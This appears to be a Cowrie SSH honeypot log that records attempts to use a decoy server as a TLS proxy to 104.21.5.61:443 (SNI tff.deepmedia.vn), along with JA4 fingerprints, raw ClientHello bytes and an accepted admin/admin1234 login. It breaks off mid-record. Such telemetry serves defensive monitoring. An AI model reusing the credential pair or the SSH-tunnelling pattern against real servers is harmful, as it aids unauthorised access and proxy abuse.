{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.345971Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xa1&\\x0c\\xc7}\\x93\\x87z\\xbe\\x80\\x8c\\x8bp\\x92\\x04+\\x96\\xc1\\xb7\\x1a\\xc9\\xb07\\x9b*~*qO\\xc6\\x82 ]%\\x81\\xf73#\\x90\\xc2\\xf7\\xdd\\x83\\xed\\x96\\x96\\xcd!5\\x15\\xb2qL\\xdc\\x9d\\x13\\xbd\\t/\\x9a\\x00\\xf0b\\xa3\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\t\\x1c\\xcam\\x99)7\\x02p\\xb4C#\\xd0\\xb0\\xda\\xaaT\\xef1\\x99\\x9ccS\\xb0%\\xbd\"D\\xa0+\\x8em\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xa1&\\x0c\\xc7}\\x93\\x87z\\xbe\\x80\\x8c\\x8bp\\x92\\x04+\\x96\\xc1\\xb7\\x1a\\xc9\\xb07\\x9b*~*qO\\xc6\\x82 ]%\\x81\\xf73#\\x90\\xc2\\xf7\\xdd\\x83\\xed\\x96\\x96\\xcd!5\\x15\\xb2qL\\xdc\\x9d\\x13\\xbd\\t/\\x9a\\x00\\xf0b\\xa3\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\t\\x1c\\xcam\\x99)7\\x02p\\xb4C#\\xd0\\xb0\\xda\\xaaT\\xef1\\x99\\x9ccS\\xb0%\\xbd\"D\\xa0+\\x8em\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.348439Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.556727Z","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.614498Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff\\xa3\\x87\\x1cO\\xaej$>\\x13\\xd6K\\xd2\\xa8\\x9aP\\xec\\xc9\\xf1\\x80\\x7fgB\\x9c\\xda\\x83;\\r\\xbd\\xef\\x8d\\x16 a9s\\x9d\\xb7\\xdd\\xb4\\x02\\xafHtn\\xd5\\x0c\\xa2.!B\\x17\\x0e\\xb9\\xcd\\xd8\\x01\\xad\\xca\\xdb\\x1e\\xbe\\x04\\xee\\xa7\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 PF\\xe0\\x0f\\x9c\\xf2k\\xf9\\x7fS\\xe6\\xdf\\xf1\\xb2\\x90\\xf4>\\xde\\xf6R\\xbcn\\n\\xc0\\x05?vGZ\\x9e94\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xff\\xa3\\x87\\x1cO\\xaej$>\\x13\\xd6K\\xd2\\xa8\\x9aP\\xec\\xc9\\xf1\\x80\\x7fgB\\x9c\\xda\\x83;\\r\\xbd\\xef\\x8d\\x16 a9s\\x9d\\xb7\\xdd\\xb4\\x02\\xafHtn\\xd5\\x0c\\xa2.!B\\x17\\x0e\\xb9\\xcd\\xd8\\x01\\xad\\xca\\xdb\\x1e\\xbe\\x04\\xee\\xa7\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 PF\\xe0\\x0f\\x9c\\xf2k\\xf9\\x7fS\\xe6\\xdf\\xf1\\xb2\\x90\\xf4>\\xde\\xf6R\\xbcn\\n\\xc0\\x05?vGZ\\x9e94\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.618129Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:48.040618Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:48.646015Z","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:48.892512Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8}\\xf5(x\\x84\\x9ffJ\\xf9\\xd5\\x81\\x85\\xf9{k?\\xeb\\x92\\x1f\\xb95\\xcfw\\x1f\\xba\\xb5\"?Qz  \\xc5t\\x8d\\xd2K!\\x1f\\xc5\\xc0f\\xd9F\\xe8\\x8b;X\\xb1\\x1f|\\xe5B\\x19sp\\xff\\x05U\\x89P\\xaa\\xefe\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 s+\\xac\\x05\\x8a\\xa6\\xf2d\\xbc\\xb9\\x10\\x8d\\x1b\\xd0,\\xf9e\\xf7\\xb5R\\x1f\\x9e\\x9dRf\\xfa\\xb4\\x19\\xba\\xf0\\xf2K\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8}\\xf5(x\\x84\\x9ffJ\\xf9\\xd5\\x81\\x85\\xf9{k?\\xeb\\x92\\x1f\\xb95\\xcfw\\x1f\\xba\\xb5\"?Qz  \\xc5t\\x8d\\xd2K!\\x1f\\xc5\\xc0f\\xd9F\\xe8\\x8b;X\\xb1\\x1f|\\xe5B\\x19sp\\xff\\x05U\\x89P\\xaa\\xefe\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 s+\\xac\\x05\\x8a\\xa6\\xf2d\\xbc\\xb9\\x10\\x8d\\x1b\\xd0,\\xf9e\\xf7\\xb5R\\x1f\\x9e\\x9dRf\\xfa\\xb4\\x19\\xba\\xf0\\xf2K\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:48.895710Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40168,"dst_ip":"159.203.135.109","dst_port":22,"session":"620ad4f869f1","protocol":"ssh","message":"New connection: 91.92.40.36:40168 (159.203.135.109:22) [session: 620ad4f869f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:49.020716Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:49.144490Z","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:49.390585Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xedC)\\xa7\\x17\\xe1\\xeb\\x12[Fs\\x19wh\\x02&\\xaa\\xfa\\xca\\xffD\\x98\\xfbOv_ \\x84e\\x1d;\\xb5 i\\xa4I\\xaa\\x8d\\x97\\x01akK]O\\x145$\\xb5\\xcc\\xdc\\x1b\\xa8,\\x812\\xdeT\\xfb\\x0b)\\xe2\\x98DY\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 